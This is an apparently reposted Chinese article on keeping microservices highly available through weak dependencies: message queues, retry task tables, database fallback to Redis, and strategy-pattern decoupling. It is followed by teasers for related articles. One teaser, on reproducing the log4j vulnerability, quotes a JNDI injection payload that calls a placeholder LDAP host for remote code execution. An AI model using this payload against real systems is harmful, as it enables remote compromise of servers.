微服务架构下,如何通过弱依赖原则保障系统高可用?

news2024/11/27 16:40:31

前言

当我初次接触高可用这个概念的时候,对高可用的【少依赖原则】和【弱依赖原则】的边界感模糊,甚至有些“傻傻分不清楚”。这两个原则都关注降低模块之间的依赖关系,但它们之间的确存在某些差异。

那么,「少依赖原则」和「弱依赖原则」它们之间本质的区别究竟是啥?

少依赖原则和弱依赖原则都是旨在提高系统的可靠性和稳定性,但是它们之间的本质区别在于对依赖关系的管理控制

1.少依赖原则(Less Dependency Principle):这一原则强调系统设计阶段的模块独立性,目的是从源头上降低故障传播的风险,通过降低模块之间的耦合度,让各个模块独立完成特定功能,减少不必要的依赖。

2.弱依赖原则(Weak Dependency Principle):弱依赖原则关注的是在系统运行过程中,如何管理和控制模块之间的依赖关系,以便在某个模块出现故障时,其他模块仍能正常运行。通过实现弱依赖,使得系统具备更好的容错能力高可用性

当然,这两个原则并不是绝对的,两者之间有一定的关联性,我们可以根据系统的复杂性和实际需求,灵活地调整模块之间的依赖关系。在实际应用中,少依赖原则和弱依赖原则也可以相互配合,共同提高系统的高可用性。

一、基于弱依赖原则的架构策略

弱依赖原则:一定要依赖的,尽可能弱依赖,越弱越好 事物a强依赖事物b,一旦b出问题时,那么a也会出问题,一损俱损。 所以任何强依赖都要尽可能的转化成弱依赖,可以直接降低出问题的概率。

1、微服务架构

模块拆分:微服务架构将复杂的应用程序拆分为多个独立的、可组合的服务模块。每个服务具有明确的功能边界和职责,相互之间具备松耦合的特点。这样,当某个服务出现故障时,其他服务可以继续独立运行,保证系统的整体可用性。

独立部署:各个模块有自己独立的代码仓库,可以独立进行分组部署和升级,无需其他模块的配合。当某个服务发生故障或需要升级时,不会影响到其他服务的正常运行。特别针对黄金交易链路上的系统,有条件的话尽量考虑提供独立的数据资源(DB、redis),并进行垂直分组部署。

需要注意的是:部署隔离需要充足的部署资源,以及上下游配合,尽量提前做好该工作。当然,模块隔离必须建立在低耦合的基础上进行才有意义。如果组件之间的耦合关系千头万绪、混乱不堪,模块隔离只会让这种混乱雪上加霜。

2、异步通信

异步通信可以认为是在模块隔离基础上的进一步解耦,将物理上已经分割的模块之间的强依赖关系进一步削弱,使故障无法传播扩散,提高系统可用性。异步在架构上的实现手段主要是使用消息队列,当一个模块发生故障时,另一个模块可以继续处理任务,不会受到太大影响。

以我正在做的职能架构升级项目为例,其中创建员工账号的场景:新员工在PC页面提交创建账号的请求后,需要将员工信息进行数据持久化,并发送创建成功的短信和邮件给员工,此外,还需将员工信息同步给人资系统。

如果用微服务同步调用的方式,那么后续操作任何一个故障,都会导致业务处理失败,员工无法创建成功。我们通过使用消息队列的异步架构,新员工创建时发mq后就立即响应「创建成功」,后续的操作通过消费消息来完成,即使某个操作发生故障,后续再补偿也不会影响员工的创建流程。

图1.1 创建员工业务流程图

3、接口抽象

耦合度过高是软件设计的万恶之源,也是造成系统可用性问题的罪魁祸首。一个高度耦合的系统,可谓“牵一发而动全身”,任何微小的改动都可能会引发意想不到的bug和系统崩溃。连最基本的功能维护都已经勉为其难,更不用奢谈什么高可用了。

我们可以通过定义抽象的策略接口,这个抽象接口通常是从多个具有共同特征行为的类中抽象出来的,而具体实现类的指定都交给工厂类去完成,从而实现模块之间的松耦合。这样,当某个模块发生变化时,也不会影响其他模块的正常运行。接口抽象的方式,我将在后文的「实际场景分析」,针对具体案例展开详细的讨论。

4、故障切换与容错

设置完善的故障处理机制,包括故障检测、故障切换和故障恢复。当检测到故障时,系统可以快速切换到备用组件或恢复服务,保证系统的可用性。

数据分片:存储数据时,将其分布在多个存储节点上。当某个存储节点发生故障时,数据可以从其他节点恢复,从而提高数据的可用性和容错性。

读写分离:对于接受弱一致性的场景,将读操作分配给从数据库,写操作分配给主数据库,以提高系统的性能和稳定性,并支持主从切换;数据量大时,也可以进行分库分表处理。

兜底降级:当一个系统中的强依赖服务数量较少时,其整体基础稳定性便会越高。对于那些特殊数据依赖较多而逻辑依赖较少的系统,我们可以采取去依赖的架构设计策略。具体来说,就是将依赖服务数据持久化异构到自己的数据库,并通过异步方式进行同步更新维护,从而降低对其他系统的依赖程度,进一步提升系统的稳定性。然而,这种方法也存在一定的弊端:数据冗余可能导致在特定时间窗口内出现数据不一致的情况。

5、松耦合的业务逻辑

将业务逻辑进行解耦,使其相互独立。例如:目前线下店仓系统中专卖店、大商超、超级大店三个业态是公用一套代码,各个业态之间设计上是松耦合的,不同业态扩展点的实现相互隔离,这样当某个业务逻辑出现故障时,其他业务逻辑可以继续运行,降低故障影响范围。

二、实际场景分析

1、case 1:中间件弱依赖

i、消息队列弱依赖

日常开发中经常会遇到分布式事务的场景,同一个事务内涉及「RPC调用、写DB、对外消息发送」等一系列原子操作,可能存在某一个环节请求异常的情况,为了保证事务的最终一致性,需要采用失败重试策略。对一个简单的应用流程来说,抛出异常业务中断回滚即可;但是对于复杂业务流程是不可行的,发生请求异常时,上游应用可能已经执行完毕,尤其是多个异步流程组合一个整体流程的场景,其他前置的流程可能已经执行完毕,无法回滚。

以店仓生产缺货取消单据的场景为例,店仓拣货环节,若商品全部缺货、或者用户选择“缺货取消订单”的发货策略时,此时拣货缺货,会调用下游接口取消订单。经常会出现前置操作(如RPC调用、写DB等)完成后,调用订单取消接口失败或者异常的情况。调用失败会触发UMP报警,需人工干预进行处理。

图2.1 生产缺货取消回写opc流程

为了避免以上问题,保障数据的最终一致性,初期优化采用mq自产自消的方式,进行重试。

图2.2 JMQ解决回调取消接口失败

这样一来,业务系统的稳定性与JMQ中间件的稳定性就强关联了,自然对JMQ的稳定性有较高要求。为了降低对JMQ的强依赖,保证业务的顺利执行,通过技术手段提升用户体验,减轻研发值班人员压力,最终形成了任务重试工具。

其核心思想是将分布式事务拆分成本地事务进行处理,具体实现方式是:将任务落库,保证业务操作表与纯任务表在同一个数据库,通过数据库事务保证业务操作与任务持久化的强一致性。在一定程度上,将业务操作与中间件依赖解耦。

采用回调函数的机制实现调用者和底层驱动的解耦,提升了组件的灵活性,对业务侵入性小。

图2.3 任务重试组件工作流程

ii、数据库弱依赖

第二个涉及中间件弱依赖的场景是数据库弱依赖,在日常开发中,数据库操作异常的情况屡见不鲜,比如网络链路问题、慢SQL导致的性能下降,以及引发的故障等。这些问题往往会导致交易黄金链路在短时间内无法正常工作,给业务带来不小的损失。为了应对这些情况,我们考虑引入灾备机制,以确保在异常情况下仍能维持较高的交易成功率,保障订单履约时效。

该方案的核心思路是:在DB操作出现故障的时间段内,通过其他存储介质(如redis)临时存储数据。然后,通过MQ异步补偿还原DB操作,从而保障数据的最终一致性。

图2.4 数据灾备方案

这个方案显著提升了我们应对数据库操作异常的处理能力,确保了黄金交易链路的平稳运行。通过实施灾备策略,我们在确保数据最终一致性的同时,也有效减小了故障对业务的影响。

2、case 2:依赖倒置解耦业务逻辑

图2.5 定义抽象接口进行解耦

i、背景

代码层面的依赖优化案例,是基于依赖倒置的设计原则,将业务模块进行解耦。在需求迭代的过程中,我们经常为了图方便,将具体类直接依赖于具体类,也就是所谓的高层模块依赖于低层模块。但是这样是极其不利于扩展的,随着新功能的不断追加,系统的功能会越来越臃肿,核心功能也会越来越模糊,这种情况下,系统的高可用性会受到影响。

请看下面这个案例:历史代码中,执行发货单取消逻辑十分复杂,不同类型、不同来源的单据在不同生产环节取消处理逻辑存在差异,这里的doCandel方法就是高层模块,而调用取消接口和发送取消消息是低层模块,这是一个典型的高层模块依赖于低层模块的编码形式。

ii、优化前的实现方式

以下一个代码片段是系统中的历史代码负债,耦合性强,可读性和可扩展性差。

图2.6 历史代码

iii、优化后的实现方式

弱依赖原则强调应该尽量让模块之间的依赖关系变得弱化。这意味着模块之间的相互作用应该尽量简单,避免复杂的依赖关系。我们优化的核心思想是采用 工厂模式+模板模式 去抽象接口,实现不同环节单据取消后续处理逻辑差异。

a.首先,我们通过定义一个抽象的策略类AbstractDoCancelNodeStrategy,将取消单据后的核心流程进行拆解,最终将拆解的四个步骤定义为四个抽象方法。

图2.7 抽象策略类定义

b.然后,我们创建了4个具体实现策略类,分别用于处理不同环节取消单据的逻辑。主要是提供相同行为的不同实现,业务上可以根据不同条件选择进入不同的实现类。

图2.8 不同策略实现

c.其次,创建获取不同生产环节取消单据的策略工厂:采用启动时加载策略的方式,在项目启动时,把接口的实现类的实例放在Map里,系统运行过程中,可以通过取消节点对应的key,找到这个实现类的标识,进行相应的逻辑处理。

图2.9 策略工厂

d.这样一来,高层模块可以依赖于这个策略类,而不是具体的策略实现。这样,当业务需求发生变更,需要对新的单据类型进行取消消息广播,只需实现一个新的处理策略类,而无需修改高层模块的代码。

图2.10 高层模块代码

这样优化后,相当于把高层模块和具体的RPC调用的底层模块逻辑进行了间接解耦。并且提供了对开闭原则的完美支持,可以在不修改主流程代码的情况下,灵活增加新算法。总之,以抽象为基准比以细节为基准搭建起来的架构要稳定得多,因此咱们在日常开发中,要多尝试面相接口编程,采用先顶层设计再细节的去设计代码结构。

三、强弱依赖治理

服务依赖是决定系统复杂度的一个重要因素,随着业务的不断迭代,服务依赖可能会变得越来越复杂,导致系统难以维护和扩展。在没有明确强弱依赖的前提下,我们很难进行熔断、降级、限流的相关操作,也不能有效的对系统进行相关优化改造、持续推进系统稳定性提升。因此,服务依赖治理变得至关重要。我们需要定期检查我们的依赖模型是否合理,识别不合理的依赖将其合理化。具体的治理流程包括:

1、依赖标记:通过人工梳理代码的形式,对系统核心链路上的所有依赖进行梳理,分析并标注依赖关系及强弱。

2、强弱依赖验证:采用混沌工程等方式模拟链路故障,核心思路就是不断给系统“找麻烦”来验证系统能力,模拟某个依赖服务出现故障的场景,从而验证人工标注的有效性。

3、依赖治理:依赖治理的目标体现在如下几个方面:

•筛选出那些不是真的强依赖的部分,将其转换为弱依赖,实现强依赖最少化。

•对强依赖进行解耦合,建立核心链路的降级预案,并对预案持续保活。

•对弱依赖做合理的异常捕获逻辑,配置合理的超时、熔断以及限流。针对具体的业务场景,以场景为最小单位,编写止损可控的兜底逻辑,并配置相应的动态切换开关,当异常发生时,可一键切换至兜底逻辑。

•弱依赖支持平滑停用,支持突发场景下舍军保帅。

四、结语

当然,除了通过以上措施去构建遵循弱依赖原则的高可用系统,还有一些高可用的架构方案:

比如,在架构设计时,我们还需要考虑到不同层级的异常监控(业务层、应用层、中间件层、基础层),数据采集包含日志、埋点、链路追踪等,数据告警通过电话、短信、邮件、京me等方式通知到值班人员。通过建立完善的监控体系,实时收集系统运行状态,并进行预警。这样,当系统出现潜在故障时,可以及时发现并采取措施进行修复。

此外,对于改造量比较大的新业务上线后,可以通过ducc控制灰度切流的方式,降低软件编码错误带来的影响。观察没有问题,再全量切流,保证即使程序有Bug,也可以流量切回,产生的影响也控制在较小的范围内。这样的系统在面对故障时,具有更强的容错能力和抗故障能力,才能确保系统整体运行的稳定性和可用性。

作者:全渠道生态 伍悦

来源:京东零售技术 转载请注明来源

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1578088.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C#操作MySQL从入门到精通(8)——对查询数据进行高级过滤

前言 我们在查询数据库中数据的时候,有时候需要剔除一些我们不想要的数据,这时候就需要对数据进行过滤,比如学生信息中,我只需要年龄等于18的,同时又要家乡地址是安徽的,类似这种操作专栏第7篇的C#操作MySQL从入门到精通(7)——对查询数据进行简单过滤简单过滤方法就无法…

《CSS 知识点》仅在文本有省略号时添加 tip 信息

html <div ref"btns" class"btns"><div class"btn" >这是一段很短的文本.</div><div class"btn" >这是一段很短的文本.</div><div class"btn" >这是一段很长的文本.有省略号和tip.<…

移动平台相关(安卓)

目录 安卓开发 Unity打包安卓 ​编辑​编辑 BuildSettings PlayerSettings OtherSettings 身份证明 配置 脚本编译 优化 PublishingSettings 调试 ReMote Android Logcat AndroidStudio的调试 Java语法 ​编辑​编辑​编辑 变量 运算符 ​编辑​编辑​编辑​…

后端说处理了跨域但没有生效

场景&#xff1a; 常见的跨域报错&#xff0c;一般都是由后端进行setHeader/*什么的。但是现在这种情况就是后端说他们做了处理。但是我这边请求还是报错。 withCredentials: with-credentials用来设置是否发送cookie&#xff0c;如果为true就会在跨域请求时候携带cookie&…

5个最佳的免费AI图像生成器

原文地址&#xff1a;https://readwrite.com/ai-5-of-the-best-free-ai-image-generators/ Ideogram: Social AI image generator, limited daily prompts, impressive quality.NightCafe: Creative options, custom model training, limited free daily credits.Runway AI: A…

DolphinScheduler 答案整理,最新面试题

DolphinScheduler的架构设计是怎样的&#xff1f; DolphinScheduler的架构设计主要分为四个层次&#xff1a;前端界面层、API服务层、调度层和执行层。 1、前端界面层&#xff1a; 提供任务的定义、流程的设计、监控等功能&#xff0c;用户通过前端界面操作整个系统。 2、AP…

【MySQL数据库 | 第二十三篇】什么是索引覆盖和索引下推

前言&#xff1a; 在数据库查询优化领域&#xff0c;索引一直被视为关键的工具&#xff0c;用于提高查询性能并加速数据检索过程。然而&#xff0c;随着数据库技术的不断发展&#xff0c;出现了一些新的优化技术&#xff0c;其中包括索引下推&#xff08;Index Pushdown&#…

使用Nodejs + express连接数据库mongodb

文章目录 先创建一个js文档安装 MongoDB 驱动程序&#xff1a;引入 MongoDB 模块&#xff1a;设置数据库连接&#xff1a;新建一个表试试执行数据库操作&#xff1a;关闭数据库连接&#xff1a; 前面需要准备的内容可看前面的文章&#xff1a; Express框架搭建项目 node.js 简单…

SketchUp Pro 2024 (草图大师2024)win/mac激活版

SketchUp Pro 2024 (草图大师2024)win/mac激活版(su建模软件,草图大师2024中文版)是一款全球知名的三维建模软件,绘图工具,建模渲染,扩展插件和渲染器模板,海量3D模型及建模灯光材质渲染效果图,用于建筑,城市规划专家,游戏开发等行业。 SketchUp Pro 的主要特点包括&#xff1a…

C++ | Leetcode C++题解之第8题字符串转换整数atoi

题目&#xff1a; 题解&#xff1a; class Automaton {string state "start";unordered_map<string, vector<string>> table {{"start", {"start", "signed", "in_number", "end"}},{"signed…

AssetBundle在移动设备上丢失

1&#xff09;AssetBundle在移动设备上丢失 2&#xff09;Unity云渲染插件RenderStreaming&#xff0c;如何实现多用户分别有独立的操作 3&#xff09;如何在圆柱体类型的地图中编程玩家的输入 4&#xff09;Mixamo动画的根运动问题 这是第380篇UWA技术知识分享的推送&#xff…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

算法学习 | day36/60 背包问题/分割等和子集

一、题目打卡 1.1 二维背包问题 题目链接&#xff1a;46. 携带研究材料&#xff08;第六期模拟笔试&#xff09; #include<iostream> #include<vector> using namespace std;int n, bagweight;// bagweight代表行李箱空间 void solve() {vector<int> weight…

云手机提供私域流量变现方案

当今数字营销领域&#xff0c;私域流量是一座巨大的金矿&#xff0c;然而并非人人能够轻易挖掘。一家营销公司面临着利用社交、社区、自媒体等应用积累私域流量&#xff0c;并通过销售产品、推送广告等方式实现流量变现的挑战与困境。本文将详细介绍这家公司是如何通过云手机&a…

Flutter学习11 - Future 与 FutureBuilder

1、Future 可以利用 Future 实现异步调用 1.1、Future 的两种形式 自定义一个结果类 class Response {String _data;Response(this._data); }自定义方法实现 Future Future<Response> testFuture() {var random Random();int randomNumber random.nextInt(10);if …

IDEA页面配置:(基本配置)

IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09; 文章目录 IDEA页面配置&#xff1a;&#xff08;基本配置&#xff09;前言&#xff1a;一、主要内容&#xff1a;&#x1f60d;1. 页面背景改为 白色&#xff08;设置主题&#xff09;2. &#xff08;设置字体&#…

基于java+springboot+vue实现的教学辅助系统(文末源码+Lw)23-225

摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对信息管理混乱&#xff0c;出错率高&#xff0c;信息安全性差&#…

Java常用API_System——常用方法及代码演示

1.System.exit(int status) 方法的形参int status为状态码&#xff0c;如果是0&#xff0c;说明虚拟机正常停止&#xff0c;如果非0&#xff0c;说明虚拟机非正常停止。需要将程序结束时可以调用这个方法 代码演示&#xff1a; public class Test {public static void main(S…

动态输出n位小数——满满都是坑!

【题目描述】 输入正整数a&#xff0c;b&#xff0c;c&#xff0c;输出a/b的小数形式&#xff0c;精确到小数点后c位。a,b ≤10^6 &#xff0c;c≤100。输入包含多组数据&#xff0c;结束标记为a&#xff1d;b&#xff1d;c&#xff1d;0。 【样例输入】 1 6 4 0 0 0 【样…

2012年认证杯SPSSPRO杯数学建模D题(第二阶段)人机游戏中的数学模型全过程文档及程序

2012年认证杯SPSSPRO杯数学建模 D题 人机游戏中的数学模型 原题再现&#xff1a; 计算机游戏在社会和生活中享有特殊地位。游戏设计者主要考虑易学性、趣味性和界面友好性。趣味性是本质吸引力&#xff0c;使玩游戏者百玩不厌。网络游戏一般考虑如何搭建安全可靠、丰富多彩的…